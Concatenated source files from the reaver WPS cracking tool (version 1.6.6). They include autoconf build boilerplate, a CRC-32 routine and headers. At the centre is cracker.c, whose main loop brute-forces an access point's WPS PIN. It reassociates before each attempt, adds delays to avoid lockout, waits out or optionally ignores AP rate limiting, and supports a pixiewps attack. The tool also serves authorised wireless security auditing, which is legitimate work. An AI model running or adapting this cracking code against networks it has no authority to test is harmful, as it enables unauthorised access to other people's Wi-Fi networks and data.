ac_save_IFS=$IFS IFS=: set x $ac_tag IFS=$ac_save_IFS shift ac_file=$1 shift case $ac_mode in :L) ac_source=$1;; :[FH]) ac_file_inputs= for ac_f do case $ac_f in -) ac_f="$ac_tmp/stdin";; *) # Look for the file first in the build tree, then in the source tree # (if the path is not absolute). The absolute path cannot be DOS-style, # because $ac_f cannot contain `:'. test -f "$ac_f" || case $ac_f in [\\/$]*) false;; *) test -f "$srcdir/$ac_f" && ac_f="$srcdir/$ac_f";; esac || as_fn_error 1 "cannot find input file: \`$ac_f'" "$LINENO" 5;; esac case $ac_f in *\'*) ac_f=`$as_echo "$ac_f" | sed "s/'/'\\\\\\\\''/g"`;; esac as_fn_append ac_file_inputs " '$ac_f'" done # Let's still pretend it is `configure' which instantiates (i.e., don't # use $as_me), people would be surprised to read: # /* config.h. Generated by config.status. */ configure_input='Generated from '` $as_echo "$*" | sed 's|^[^:]*/||;s|:[^:]*/|, |g' `' by configure.' if test x"$ac_file" != x-; then configure_input="$ac_file. $configure_input" { $as_echo "$as_me:${as_lineno-$LINENO}: creating $ac_file" >&5 $as_echo "$as_me: creating $ac_file" >&6;} fi # Neutralize special characters interpreted by sed in replacement strings. case $configure_input in #( *\&* | *\|* | *\\* ) ac_sed_conf_input=`$as_echo "$configure_input" | sed 's/[\\\\&|]/\\\\&/g'`;; #( *) ac_sed_conf_input=$configure_input;; esac case $ac_tag in *:-:* | *:-) cat >"$ac_tmp/stdin" \ || as_fn_error $? "could not create $ac_file" "$LINENO" 5 ;; esac ;; esac ac_dir=`$as_dirname -- "$ac_file" || $as_expr X"$ac_file" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ X"$ac_file" : 'X\(//\)[^/]' \| \ X"$ac_file" : 'X\(//\)$' \| \ X"$ac_file" : 'X\(/\)' \| . 2>/dev/null || $as_echo X"$ac_file" | sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/ q } /^X\(\/\/\)[^/].*/{ s//\1/ q } /^X\(\/\/\)$/{ s//\1/ q } /^X\(\/\).*/{ s//\1/ q } s/.*/./; q'` as_dir="$ac_dir"; as_fn_mkdir_p ac_builddir=. case "$ac_dir" in .) ac_dir_suffix= ac_top_builddir_sub=. ac_top_build_prefix= ;; *) ac_dir_suffix=/`$as_echo "$ac_dir" | sed 's|^\.[\\/]||'` # A ".." for each directory in $ac_dir_suffix. ac_top_builddir_sub=`$as_echo "$ac_dir_suffix" | sed 's|/[^\\/]*|/..|g;s|/||'` case $ac_top_builddir_sub in "") ac_top_builddir_sub=. ac_top_build_prefix= ;; *) ac_top_build_prefix=$ac_top_builddir_sub/ ;; esac ;; esac ac_abs_top_builddir=$ac_pwd ac_abs_builddir=$ac_pwd$ac_dir_suffix # for backward compatibility: ac_top_builddir=$ac_top_build_prefix case $srcdir in .) # We are building in place. ac_srcdir=. ac_top_srcdir=$ac_top_builddir_sub ac_abs_top_srcdir=$ac_pwd ;; [\\/]* | ?:[\\/]* ) # Absolute name. ac_srcdir=$srcdir$ac_dir_suffix; ac_top_srcdir=$srcdir ac_abs_top_srcdir=$srcdir ;; *) # Relative name. ac_srcdir=$ac_top_build_prefix$srcdir$ac_dir_suffix ac_top_srcdir=$ac_top_build_prefix$srcdir ac_abs_top_srcdir=$ac_pwd/$srcdir ;; esac ac_abs_srcdir=$ac_abs_top_srcdir$ac_dir_suffix case $ac_mode in :F) # # CONFIG_FILE # _ACEOF cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 # If the template does not know about datarootdir, expand it. # FIXME: This hack should be removed a few years after 2.60. ac_datarootdir_hack=; ac_datarootdir_seen= ac_sed_dataroot=' /datarootdir/ { p q } /@datadir@/p /@docdir@/p /@infodir@/p /@localedir@/p /@mandir@/p' case `eval "sed -n \"\$ac_sed_dataroot\" $ac_file_inputs"` in *datarootdir*) ac_datarootdir_seen=yes;; *@datadir@*|*@docdir@*|*@infodir@*|*@localedir@*|*@mandir@*) { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: $ac_file_inputs seems to ignore the --datarootdir setting" >&5 $as_echo "$as_me: WARNING: $ac_file_inputs seems to ignore the --datarootdir setting" >&2;} _ACEOF cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 ac_datarootdir_hack=' s&@datadir@&$datadir&g s&@docdir@&$docdir&g s&@infodir@&$infodir&g s&@localedir@&$localedir&g s&@mandir@&$mandir&g s&\\\${datarootdir}&$datarootdir&g' ;; esac _ACEOF # Neutralize VPATH when `$srcdir' = `.'. # Shell code in configure.ac might set extrasub. # FIXME: do we really want to maintain this feature? cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 ac_sed_extra="$ac_vpsub $extrasub _ACEOF cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 :t /@[a-zA-Z_][a-zA-Z_0-9]*@/!b s|@configure_input@|$ac_sed_conf_input|;t t s&@top_builddir@&$ac_top_builddir_sub&;t t s&@top_build_prefix@&$ac_top_build_prefix&;t t s&@srcdir@&$ac_srcdir&;t t s&@abs_srcdir@&$ac_abs_srcdir&;t t s&@top_srcdir@&$ac_top_srcdir&;t t s&@abs_top_srcdir@&$ac_abs_top_srcdir&;t t s&@builddir@&$ac_builddir&;t t s&@abs_builddir@&$ac_abs_builddir&;t t s&@abs_top_builddir@&$ac_abs_top_builddir&;t t $ac_datarootdir_hack " eval sed \"\$ac_sed_extra\" "$ac_file_inputs" | $AWK -f "$ac_tmp/subs.awk" \ >$ac_tmp/out || as_fn_error $? "could not create $ac_file" "$LINENO" 5 test -z "$ac_datarootdir_hack$ac_datarootdir_seen" && { ac_out=`sed -n '/\${datarootdir}/p' "$ac_tmp/out"`; test -n "$ac_out"; } && { ac_out=`sed -n '/^[ ]*datarootdir[ ]*:*=/p' \ "$ac_tmp/out"`; test -z "$ac_out"; } && { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: $ac_file contains a reference to the variable \`datarootdir' which seems to be undefined. Please make sure it is defined" >&5 $as_echo "$as_me: WARNING: $ac_file contains a reference to the variable \`datarootdir' which seems to be undefined. Please make sure it is defined" >&2;} rm -f "$ac_tmp/stdin" case $ac_file in -) cat "$ac_tmp/out" && rm -f "$ac_tmp/out";; *) rm -f "$ac_file" && mv "$ac_tmp/out" "$ac_file";; esac \ || as_fn_error $? "could not create $ac_file" "$LINENO" 5 ;; esac done # for ac_tag as_fn_exit 0 _ACEOF ac_clean_files=$ac_clean_files_save test $ac_write_fail = 0 || as_fn_error $? "write failure creating $CONFIG_STATUS" "$LINENO" 5 # configure is writing to config.log, and then calls config.status. # config.status does its own redirection, appending to config.log. # Unfortunately, on DOS this fails, as config.log is still kept open # by configure, so config.status won't be able to write to it; its # output is simply discarded. So we exec the FD to /dev/null, # effectively closing config.log, so it can be properly (re)opened and # appended to by config.status. When coming back to configure, we # need to make the FD available again. if test "$no_create" != yes; then ac_cs_success=: ac_config_status_args= test "$silent" = yes && ac_config_status_args="$ac_config_status_args --quiet" exec 5>/dev/null $SHELL $CONFIG_STATUS $ac_config_status_args || ac_cs_success=false exec 5>>config.log # Use ||, not &&, to avoid exiting from the if with $? = 1, which # would make configure fail if this is the last instruction. $ac_cs_success || as_fn_exit 1 fi if test -n "$ac_unrecognized_opts" && test "$enable_option_checking" != no; then { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: unrecognized options: $ac_unrecognized_opts" >&5 $as_echo "$as_me: WARNING: unrecognized options: $ac_unrecognized_opts" >&2;} fi reaver-wps-fork-t6x-1.6.6/src/configure.ac000066400000000000000000000016361363372615500203730ustar00rootroot00000000000000define(VERSION_STRING, esyscmd(cat VERSION | tr -d '\n')) AC_INIT(reaver, VERSION_STRING) AC_CONFIG_MACRO_DIR([m4]) AC_CONFIG_FILES([config.mak]) AC_PROG_CC AC_LANG(C) CFLAGS="-Wall $CFLAGS" LDFLAGS="-lm -lpcap $LDFLAGS" AC_CHECK_LIB(pcap, pcap_open_live, [], [echo "error: pcap library not found!"; exit -1]) AC_CHECK_HEADERS([stdlib.h stdint.h string.h],[],[echo "error: missing standard header files" && exit -1]) AC_CHECK_HEADERS([pcap.h],[],[echo "error: missing pcap header files" && exit -1]) AC_ARG_ENABLE(savetocurrent, AC_HELP_STRING([--enable-savetocurrent], [saves the current session file to the directory reaver was started from]) , [ CFLAGS="$CFLAGS -DSAVETOCURRENT" ]) DESIRED_FLAGS="-Werror-unknown-warning-option -Wno-unused-but-set-variable" for flag in $DESIRED_FLAGS; do AS_COMPILER_FLAG([$flag], [CFLAGS="$CFLAGS $flag"]) done cp confdefs.h config.h AC_SUBST(target, $PACKAGE_NAME) AC_OUTPUT() reaver-wps-fork-t6x-1.6.6/src/cprintf.h000066400000000000000000000004041363372615500177130ustar00rootroot00000000000000#ifndef CPRINTF_H #define CPRINTF_H enum debug_level { CRITICAL = 0, INFO = 1, WARNING = 2, VERBOSE = 3, DEBUG = 4 }; void cprintf(enum debug_level level, const char *fmt, ...); void cprintf_mute(); void cprintf_unmute(); int cprintf_ismuted(); #endif reaver-wps-fork-t6x-1.6.6/src/cracker.c000066400000000000000000000265071363372615500176670ustar00rootroot00000000000000/* * Reaver - Main cracking functions * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #include "cracker.h" #include "pixie.h" #include "utils/vendor.h" void update_wpc_from_pin(void) { /* update WPC file with found pin */ pixie.do_pixie = 0; /* reset string pin mode if -p "" was used */ set_pin_string_mode(0); /* clean static pin if -p [PIN] was used */ set_static_p2(NULL); parse_static_pin(get_pin()); /* check the pin is valid WPS pin, if exist static p2 then is valid WPS pin */ if (get_static_p2()) { enum key_state key_status = get_key_status(); /* reset key status for sort p1 and p2 */ set_key_status(KEY1_WIP); /* sort pin into current index of p1 and p2 array */ if (jump_p1_queue(get_static_p1()) > 0) { cprintf(VERBOSE, "[+] Updated P1 array\n"); } if (jump_p2_queue(get_static_p2()) > 0) { cprintf(VERBOSE, "[+] Updated P2 array\n"); } /* restore key status after sorted p1 and p2 */ set_key_status((key_status == KEY_DONE)?KEY_DONE:KEY2_WIP); } } static void extract_uptime(const struct beacon_management_frame *beacon) { uint64_t timestamp; memcpy(×tamp, beacon->timestamp, 8); globule->uptime = end_le64toh(timestamp); } /* Brute force all possible WPS pins for a given access point */ void crack() { char *bssid = NULL; char *pin = NULL; int fail_count = 0, loop_count = 0, sleep_count = 0, assoc_fail_count = 0; float pin_count = 0; time_t start_time = 0; enum wps_result result = 0; if(!get_iface()) { return; } if(get_max_pin_attempts() == -1) { cprintf(CRITICAL, "[X] ERROR: This device has been blacklisted and is not supported.\n"); return; } /* Initialize network interface */ set_handle(capture_init(get_iface())); if(get_handle() == NULL) { cprintf(CRITICAL, "[-] Failed to initialize interface '%s'\n", get_iface()); return; } generate_pins(); /* Restore any previously saved session */ if(get_static_p1() == NULL || !get_pin_string_mode()) { /* Check the specified 4/8 digit WPS PIN has been already tried */ if (restore_session() == -1) return; } /* Convert BSSID to a string */ bssid = mac2str(get_bssid(), ':'); /* * We need to get some basic info from the AP, and also want to make sure the target AP * actually exists, so wait for a beacon packet */ cprintf(INFO, "[+] Waiting for beacon from %s\n", bssid); read_ap_beacon(); cprintf(INFO, "[+] Received beacon from %s\n", bssid); char *vendor; if((vendor = get_vendor_string(get_vendor()))) cprintf(INFO, "[+] Vendor: %s\n", vendor); /* I'm fairly certian there's a reason I put this in twice. Can't remember what it was now though... */ if(get_max_pin_attempts() == -1) { cprintf(CRITICAL, "[X] ERROR: This device has been blacklisted and is not supported.\n"); return; } #if 0 /* This initial association is just to make sure we can successfully associate */ while(!reassociate()) { if(assoc_fail_count == MAX_ASSOC_FAILURES) { assoc_fail_count = 0; cprintf(CRITICAL, "[!] WARNING: Failed to associate with %s (ESSID: %s)\n", bssid, get_ssid()); } else { assoc_fail_count++; } } #endif /* Used to calculate pin attempt rates */ start_time = time(NULL); /* If the key status hasn't been explicitly set by restore_session(), ensure that it is set to KEY1_WIP */ if(get_key_status() <= KEY1_WIP) { set_key_status(KEY1_WIP); } /* * If we're starting a session at KEY_DONE, that means we've already cracked the pin and the AP is being re-attacked. * Re-set the status to KEY2_WIP so that we properly enter the main cracking loop. */ else if(get_key_status() == KEY_DONE) { set_key_status(KEY2_WIP); } /* Main cracking loop */ for(loop_count=0, sleep_count=0; get_key_status() != KEY_DONE; loop_count++, sleep_count++) { /* * Some APs may do brute force detection, or might not be able to handle an onslaught of WPS * registrar requests. Using a delay here can help prevent the AP from locking us out. */ pcap_sleep(get_delay()); /* Users may specify a delay after x number of attempts */ if((get_recurring_delay() > 0) && (sleep_count == get_recurring_delay_count())) { cprintf(VERBOSE, "[+] Entering recurring delay of %d seconds\n", get_recurring_delay()); pcap_sleep(get_recurring_delay()); sleep_count = 0; } /* * Some APs identify brute force attempts and lock themselves for a short period of time (typically 5 minutes). * Verify that the AP is not locked before attempting the next pin. */ int locked_status = 0; while(1) { struct pcap_pkthdr header; const unsigned char *packet; const struct dot11_frame_header *frame_header; const struct beacon_management_frame *beacon; while((packet = next_beacon(&header, &frame_header, &beacon))) { if(is_target(frame_header)) break; } if(!packet) break; /* since we have to wait for a beacon anyway, we also use it to update the router's timeout */ locked_status = is_wps_locked(&header, packet); extract_uptime(beacon); if(locked_status == 1 && get_ignore_locks() == 0) { cprintf(WARNING, "[!] WARNING: Detected AP rate limiting, waiting %d seconds before re-checking\n", get_lock_delay()); pcap_sleep(get_lock_delay()); continue; } break; } if(locked_status == -1) { cprintf(WARNING, "[!] AP seems to have WPS turned off\n"); } /* Initialize wps structure */ set_wps(initialize_wps_data()); if(!get_wps()) { cprintf(CRITICAL, "[-] Failed to initialize critical data structure\n"); break; } /* Try the next pin in the list */ pin = build_next_pin(); if(!pin) { cprintf(CRITICAL, "[-] Failed to generate the next payload\n"); break; } else { cprintf(WARNING, "[+] Trying pin \"%s\"\n", pin); } /* * Reassociate with the AP before each WPS exchange. This is necessary as some APs will * severely limit our pin attempt rate if we do not. */ assoc_fail_count = 0; while(!reassociate()) { if(assoc_fail_count == MAX_ASSOC_FAILURES) { assoc_fail_count = 0; cprintf(CRITICAL, "[!] WARNING: Failed to associate with %s (ESSID: %s)\n", bssid, get_ssid()); } else { assoc_fail_count++; } } cprintf(INFO, "[+] Associated with %s (ESSID: %s)\n", bssid, get_ssid()); /* * Enter receive loop. This will block until a receive timeout occurs or a * WPS transaction has completed or failed. */ result = do_wps_exchange(); switch(result) { /* * If the last pin attempt was rejected, increment * the pin counter, clear the fail counter and move * on to the next pin. */ case KEY_REJECTED: fail_count = 0; pin_count++; advance_pin_count(); break; /* Got it!! */ case KEY_ACCEPTED: break; /* Unexpected timeout or EAP failure...try this pin again */ default: cprintf(VERBOSE, "[!] WPS transaction failed (code: 0x%.2X), re-trying last pin\n", result); fail_count++; break; } /* If we've had an excessive number of message failures in a row, print a warning */ if(fail_count == WARN_FAILURE_COUNT) { cprintf(WARNING, "[!] WARNING: %d failed connections in a row\n", fail_count); fail_count = 0; pcap_sleep(get_fail_delay()); } /* Display status and save current session state every DISPLAY_PIN_COUNT loops */ if(loop_count == DISPLAY_PIN_COUNT) { save_session(); display_status(pin_count, start_time); loop_count = 0; } /* * The WPA key and other settings are stored in the globule->wps structure. If we've * recovered the WPS pin and parsed these settings, don't free this structure. It * will be freed by wpscrack_free() at the end of main(). */ if(get_key_status() != KEY_DONE) { wps_deinit(get_wps()); set_wps(NULL); } /* If we have cracked the pin, save a copy */ else { /* pixie already sets the pin if successful */ if(!pixie.do_pixie) set_pin(pin); } free(pin); pin = NULL; if(pixie.do_pixie && get_pin()) { /* if we get here it means pixiewps process was successful, but getting the pin may or may not have worked. */ update_wpc_from_pin(); cprintf(VERBOSE, "[+] Quitting after pixiewps attack\n"); break; } /* If we've hit our max number of pin attempts, quit */ if((get_max_pin_attempts() > 0) && (pin_count == get_max_pin_attempts())) { cprintf(VERBOSE, "[+] Quitting after %d crack attempts\n", get_max_pin_attempts()); break; } } if(bssid) free(bssid); if(get_handle()) { pcap_close(get_handle()); set_handle(NULL); } } /* * Increment the index into the p1 or p2 array as appropriate. * If we're still trying to brute force the first half, increment p1. * If we're working on the second half, increment p2. */ void advance_pin_count() { if(get_key_status() == KEY1_WIP) { set_p1_index(get_p1_index() + 1); } else if(get_key_status() == KEY2_WIP) { set_p2_index(get_p2_index() + 1); } } /* Displays the status and rate of cracking */ void display_status(float pin_count, time_t start_time) { float percentage = 0; int attempts = 0, average = 0; time_t now = 0, diff = 0; struct tm *tm_p = NULL; char time_s[256] = { 0 }; if(get_key_status() == KEY1_WIP) { attempts = get_p1_index() + get_p2_index(); } /* * If we've found the first half of the key, then the entire key1 keyspace * has been exhausted/eliminated. Our output should reflect that. */ else if(get_key_status() == KEY2_WIP) { attempts = P1_SIZE + get_p2_index(); } else if(get_key_status() == KEY_DONE) { attempts = P1_SIZE + P2_SIZE; } percentage = (float) (((float) attempts / (P1_SIZE + P2_SIZE)) * 100); now = time(NULL); diff = now - start_time; tm_p = localtime(&now); if(tm_p) { strftime(time_s, sizeof(time_s), TIME_FORMAT, tm_p); } else { perror("localtime"); } if(pin_count > 0) { average = (int) (diff / pin_count); } else { average = 0; } cprintf(INFO, "[+] %.2f%% complete @ %s (%d seconds/pin)\n", percentage, time_s, average); return; } reaver-wps-fork-t6x-1.6.6/src/cracker.h000066400000000000000000000037011363372615500176630ustar00rootroot00000000000000/* * Reaver - Main cracking functions * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #ifndef CRACKER_H #define CRACKER_H #include "defs.h" #include "globule.h" #include "80211.h" #include "session.h" #include "init.h" #include "exchange.h" #include "pins.h" #include "argsparser.h" #define DISPLAY_PIN_COUNT 5 #define TIME_FORMAT "%F %T" void crack(); void advance_pin_count(); void display_status(float pin_count, time_t start_time); #endif reaver-wps-fork-t6x-1.6.6/src/crc.c000066400000000000000000000216441363372615500170210ustar00rootroot00000000000000/* * Reaver - CRC functions * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #include "crc.h" /**********************************************************************/ /* The following was grabbed and tweaked from the old snippets collection * of public domain C code. */ /**********************************************************************\ |* Demonstration program to compute the 32-bit CRC used as the frame *| |* check sequence in ADCCP (ANSI X3.66, also known as FIPS PUB 71 *| |* and FED-STD-1003, the U.S. versions of CCITT's X.25 link-level *| |* protocol). The 32-bit FCS was added via the Federal Register, *| |* 1 June 1982, p.23798. I presume but don't know for certain that *| |* this polynomial is or will be included in CCITT V.41, which *| |* defines the 16-bit CRC (often called CRC-CCITT) polynomial. FIPS *| |* PUB 78 says that the 32-bit FCS reduces otherwise undetected *| |* errors by a factor of 10^-5 over 16-bit FCS. *| \**********************************************************************/ /* Copyright (C) 1986 Gary S. Brown. You may use this program, or code or tables extracted from it, as desired without restriction.*/ /* First, the polynomial itself and its table of feedback terms. The */ /* polynomial is */ /* X^32+X^26+X^23+X^22+X^16+X^12+X^11+X^10+X^8+X^7+X^5+X^4+X^2+X^1+X^0 */ /* Note that we take it "backwards" and put the highest-order term in */ /* the lowest-order bit. The X^32 term is "implied"; the LSB is the */ /* X^31 term, etc. The X^0 term (usually shown as "+1") results in */ /* the MSB being 1. */ /* Note that the usual hardware shift register implementation, which */ /* is what we're using (we're merely optimizing it by doing eight-bit */ /* chunks at a time) shifts bits into the lowest-order term. In our */ /* implementation, that means shifting towards the right. Why do we */ /* do it this way? Because the calculated CRC must be transmitted in */ /* order from highest-order term to lowest-order term. UARTs transmit */ /* characters in order from LSB to MSB. By storing the CRC this way, */ /* we hand it to the UART in the order low-byte to high-byte; the UART */ /* sends each low-bit to hight-bit; and the result is transmission bit */ /* by bit from highest- to lowest-order term without requiring any bit */ /* shuffling on our part. Reception works similarly. */ /* The feedback terms table consists of 256, 32-bit entries. Notes: */ /* */ /* 1. The table can be generated at runtime if desired; code to do so */ /* is shown later. It might not be obvious, but the feedback */ /* terms simply represent the results of eight shift/xor opera- */ /* tions for all combinations of data and CRC register values. */ /* */ /* 2. The CRC accumulation logic is the same for all CRC polynomials, */ /* be they sixteen or thirty-two bits wide. You simply choose the */ /* appropriate table. Alternatively, because the table can be */ /* generated at runtime, you can start by generating the table for */ /* the polynomial in question and use exactly the same "updcrc", */ /* if your application needn't simultaneously handle two CRC */ /* polynomials. (Note, however, that XMODEM is strange.) */ /* */ /* 3. For 16-bit CRCs, the table entries need be only 16 bits wide; */ /* of course, 32-bit entries work OK if the high 16 bits are zero. */ /* */ /* 4. The values must be right-shifted by eight bits by the "updcrc" */ /* logic; the shift must be unsigned (bring in zeroes). On some */ /* hardware you could probably optimize the shift in assembler by */ /* using byte-swap instructions. */ static const uint32_t crc_32_tab[] = { /* CRC polynomial 0xedb88320 */ 0x00000000, 0x77073096, 0xee0e612c, 0x990951ba, 0x076dc419, 0x706af48f, 0xe963a535, 0x9e6495a3, 0x0edb8832, 0x79dcb8a4, 0xe0d5e91e, 0x97d2d988, 0x09b64c2b, 0x7eb17cbd, 0xe7b82d07, 0x90bf1d91, 0x1db71064, 0x6ab020f2, 0xf3b97148, 0x84be41de, 0x1adad47d, 0x6ddde4eb, 0xf4d4b551, 0x83d385c7, 0x136c9856, 0x646ba8c0, 0xfd62f97a, 0x8a65c9ec, 0x14015c4f, 0x63066cd9, 0xfa0f3d63, 0x8d080df5, 0x3b6e20c8, 0x4c69105e, 0xd56041e4, 0xa2677172, 0x3c03e4d1, 0x4b04d447, 0xd20d85fd, 0xa50ab56b, 0x35b5a8fa, 0x42b2986c, 0xdbbbc9d6, 0xacbcf940, 0x32d86ce3, 0x45df5c75, 0xdcd60dcf, 0xabd13d59, 0x26d930ac, 0x51de003a, 0xc8d75180, 0xbfd06116, 0x21b4f4b5, 0x56b3c423, 0xcfba9599, 0xb8bda50f, 0x2802b89e, 0x5f058808, 0xc60cd9b2, 0xb10be924, 0x2f6f7c87, 0x58684c11, 0xc1611dab, 0xb6662d3d, 0x76dc4190, 0x01db7106, 0x98d220bc, 0xefd5102a, 0x71b18589, 0x06b6b51f, 0x9fbfe4a5, 0xe8b8d433, 0x7807c9a2, 0x0f00f934, 0x9609a88e, 0xe10e9818, 0x7f6a0dbb, 0x086d3d2d, 0x91646c97, 0xe6635c01, 0x6b6b51f4, 0x1c6c6162, 0x856530d8, 0xf262004e, 0x6c0695ed, 0x1b01a57b, 0x8208f4c1, 0xf50fc457, 0x65b0d9c6, 0x12b7e950, 0x8bbeb8ea, 0xfcb9887c, 0x62dd1ddf, 0x15da2d49, 0x8cd37cf3, 0xfbd44c65, 0x4db26158, 0x3ab551ce, 0xa3bc0074, 0xd4bb30e2, 0x4adfa541, 0x3dd895d7, 0xa4d1c46d, 0xd3d6f4fb, 0x4369e96a, 0x346ed9fc, 0xad678846, 0xda60b8d0, 0x44042d73, 0x33031de5, 0xaa0a4c5f, 0xdd0d7cc9, 0x5005713c, 0x270241aa, 0xbe0b1010, 0xc90c2086, 0x5768b525, 0x206f85b3, 0xb966d409, 0xce61e49f, 0x5edef90e, 0x29d9c998, 0xb0d09822, 0xc7d7a8b4, 0x59b33d17, 0x2eb40d81, 0xb7bd5c3b, 0xc0ba6cad, 0xedb88320, 0x9abfb3b6, 0x03b6e20c, 0x74b1d29a, 0xead54739, 0x9dd277af, 0x04db2615, 0x73dc1683, 0xe3630b12, 0x94643b84, 0x0d6d6a3e, 0x7a6a5aa8, 0xe40ecf0b, 0x9309ff9d, 0x0a00ae27, 0x7d079eb1, 0xf00f9344, 0x8708a3d2, 0x1e01f268, 0x6906c2fe, 0xf762575d, 0x806567cb, 0x196c3671, 0x6e6b06e7, 0xfed41b76, 0x89d32be0, 0x10da7a5a, 0x67dd4acc, 0xf9b9df6f, 0x8ebeeff9, 0x17b7be43, 0x60b08ed5, 0xd6d6a3e8, 0xa1d1937e, 0x38d8c2c4, 0x4fdff252, 0xd1bb67f1, 0xa6bc5767, 0x3fb506dd, 0x48b2364b, 0xd80d2bda, 0xaf0a1b4c, 0x36034af6, 0x41047a60, 0xdf60efc3, 0xa867df55, 0x316e8eef, 0x4669be79, 0xcb61b38c, 0xbc66831a, 0x256fd2a0, 0x5268e236, 0xcc0c7795, 0xbb0b4703, 0x220216b9, 0x5505262f, 0xc5ba3bbe, 0xb2bd0b28, 0x2bb45a92, 0x5cb36a04, 0xc2d7ffa7, 0xb5d0cf31, 0x2cd99e8b, 0x5bdeae1d, 0x9b64c2b0, 0xec63f226, 0x756aa39c, 0x026d930a, 0x9c0906a9, 0xeb0e363f, 0x72076785, 0x05005713, 0x95bf4a82, 0xe2b87a14, 0x7bb12bae, 0x0cb61b38, 0x92d28e9b, 0xe5d5be0d, 0x7cdcefb7, 0x0bdbdf21, 0x86d3d2d4, 0xf1d4e242, 0x68ddb3f8, 0x1fda836e, 0x81be16cd, 0xf6b9265b, 0x6fb077e1, 0x18b74777, 0x88085ae6, 0xff0f6a70, 0x66063bca, 0x11010b5c, 0x8f659eff, 0xf862ae69, 0x616bffd3, 0x166ccf45, 0xa00ae278, 0xd70dd2ee, 0x4e048354, 0x3903b3c2, 0xa7672661, 0xd06016f7, 0x4969474d, 0x3e6e77db, 0xaed16a4a, 0xd9d65adc, 0x40df0b66, 0x37d83bf0, 0xa9bcae53, 0xdebb9ec5, 0x47b2cf7f, 0x30b5ffe9, 0xbdbdf21c, 0xcabac28a, 0x53b39330, 0x24b4a3a6, 0xbad03605, 0xcdd70693, 0x54de5729, 0x23d967bf, 0xb3667a2e, 0xc4614ab8, 0x5d681b02, 0x2a6f2b94, 0xb40bbe37, 0xc30c8ea1, 0x5a05df1b, 0x2d02ef8d }; #define UPDC32(octet,crc) (crc_32_tab[((crc) ^ (octet)) & 0xff] ^ ((crc) >> 8)) uint32_t crc32(char *buf, size_t len) { uint32_t crc = 0xFFFFFFFF; for ( ; len; --len, ++buf) { crc = UPDC32(*buf, crc); } return crc; } reaver-wps-fork-t6x-1.6.6/src/crc.h000066400000000000000000000033061363372615500170210ustar00rootroot00000000000000/* * Reaver - CRC functions * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #ifndef _CRC_H_ #define _CRC_H_ #include #include uint32_t crc32(char *buf, size_t len); #endif 